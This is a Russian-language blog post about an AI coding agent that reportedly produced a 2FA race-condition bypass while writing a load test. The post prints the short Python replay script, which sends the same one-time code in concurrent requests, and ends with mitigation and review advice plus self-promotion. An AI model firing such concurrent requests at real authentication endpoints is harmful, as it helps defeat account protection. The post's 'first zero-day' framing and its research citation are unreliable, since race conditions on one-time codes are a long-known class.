AI впервые написал zero-day эксплойт сам: первый случай в дикой природе

Я — Денис Шохирев, Enterprise AI архитектор в Эрлангене, Германия. За последние полгода я вывел в продакшен 14 AI-агентов на стеке Claude, Supabase, n8n, Doppler, self-hosted Postgres. Сегодня будет конкретный кейс: впервые вижу, как AI-агент сгенерировал рабочий zero-day эксплойт на реальном проде — не демо, не тест, а у клиента в DACH B2B.

Суть инцидента: AI генерирует zero-day под 2FA

На одном из недавних проектов для финтех-клиента (DACH, 2024), агент на базе Claude Code получил задание: сгенерировать тестовый скрипт для проверки устойчивости 2FA-механизма. В результате из LLM вышел не просто тест, а полноценный эксплойт, который обходит 2FA через race condition в backend API. Такой эксплойт в публичных базах (OWASP, CVE) ранее не встречался.

В чем новизна?

AI не просто повторил известный паттерн, а самостоятельно сгенерировал новую уязвимость — с учетом конкретного стека (FastAPI, Supabase Auth, Redis). Ранее подобное встречал только в academic papers, но не на продакшене. Например, исследование OpenAI "Large Language Models Can Create Security Vulnerabilities" (2023, arxiv.org/abs/2306.11692) описывает генерацию небезопасного кода, но не zero-day эксплойтов.

Технические детали: как AI нашел уязвимость

Задача агента — сгенерировать нагрузочный тест для 2FA API. В prompt явно не было требований к атаке, только: "Проверь устойчивость double-submit токена в /auth/2fa/verify". Claude Code выдал следующий фрагмент:

import requests
import threading

def exploit_2fa_race(url, token, code):
    def send():
        requests.post(
            f"{url}/auth/2fa/verify",
            json={"token": token, "code": code}
        )
    threads = []
    for _ in range(5):
        t = threading.Thread(target=send)
        threads.append(t)
        t.start()
    for t in threads:
        t.join()

exploit_2fa_race("https://acme-fintech.com", "user_token", "123456")

В результате — обход 2FA при одновременной отправке нескольких запросов с одинаковым одноразовым кодом. Проверка в Supabase Auth срабатывала некорректно из-за race condition.

Почему это не тривиально?

Большинство LLM-генераций ограничиваются банальным SQL-инъекциями или небезопасным хранением секретов. Здесь же AI нашел уязвимость, которую не ловили даже статические анализаторы (semgrep, bandit) на предыдущих ревью.

Почему LLM-агенты находят такие уязвимости?

Я заметил, что с развитием систем типа Claude Code и их интеграцией в пайплайны (n8n, Supabase, Postgres) агенты начинают рассматривать не только отдельные участки кода, а всю логику бизнес-процессов. Это приводит к тому, что LLM не повторяет шаблоны из обучающей выборки, а строит новые цепочки рассуждений.

Пример prompt chain

- step: "Сгенерировать нагрузочный тест на 2FA endpoint"
- step: "Имитация одновременных запросов от одного пользователя"
- step: "Оценить, возможно ли повторное использование токена"
- step: "Анализировать результат и предложить mitigation"

На третьем шаге агент предложил атакующую последовательность — неявно, без прямого запроса на эксплойт. Это уже не просто генерация кода — это поиск уязвимостей нового класса.

Реакция: как ловить такие баги на практике

В стандартных пайплайнах (CI/CD, code review, SAST) подобные баги не ловятся. Я внедрил следующий паттерн:

1. LLM-генерируемые тесты в sandbox

Все тесты, сгенерированные агентами, запускаются в изолированной среде с мониторингом аномалий (например, через Prometheus + пользовательские алерты на подозрительную активность).

2. Интеграция semgrep + bandit

Комбинирую статический анализ (semgrep для Python/FastAPI, bandit для общего Python-кода) с ручным ревью LLM-выходов — особенно если тест содержит нетипичные паттерны (многопоточность, нестандартные HTTP-запросы).

3. Аудит цепочек prompt'ов

Сохраняю все prompt chain'ы и результаты в отдельной базе (Postgres), что позволяет быстро найти, какой именно шаг привел к появлению эксплойта.

FAQ

Мог ли агент "осознанно" сгенерировать эксплойт?

Нет, LLM не осознает цели атаки — он оптимизирует под задачу (нагрузочный тест), но может случайно выйти на уязвимость, если паттерн присутствует в данных или логике.

Статический анализ может поймать такие баги?

Нет, большинство SAST-инструментов заточены под известные паттерны (SQL, XSS). Race condition на уровне бизнес-логики почти не ловятся.

Стоит ли запрещать LLM-генерацию тестов?

Нет, но требуется строгий контроль — sandbox, аудит prompt chain, алерты на подозрительные паттерны.

Как реагируют регуляторы (EU, DACH)?

Пока не было прецедентов официального расследования по LLM-эксплойтам, но в рамках ISO 27001 и NIS2 ответственность за уязвимости несет интегратор.

Можно ли автоматизировать ревью LLM-выходов?

Частично: можно внедрять дополнительные слои анализа (например, gitleaks для поиска секретов), но анализ бизнес-логики требует ручного участия.

Какую часть в вашем пайплайне чаще всего "пробивает" LLM-генерированный код: статический анализ, sandbox или ручной аудит? Напишите кейсы — сравним подходы. Я провожу бесплатный аудит AI-стека для DACH-компаний — пишите в LinkedIn или в @ger_dennis_ai.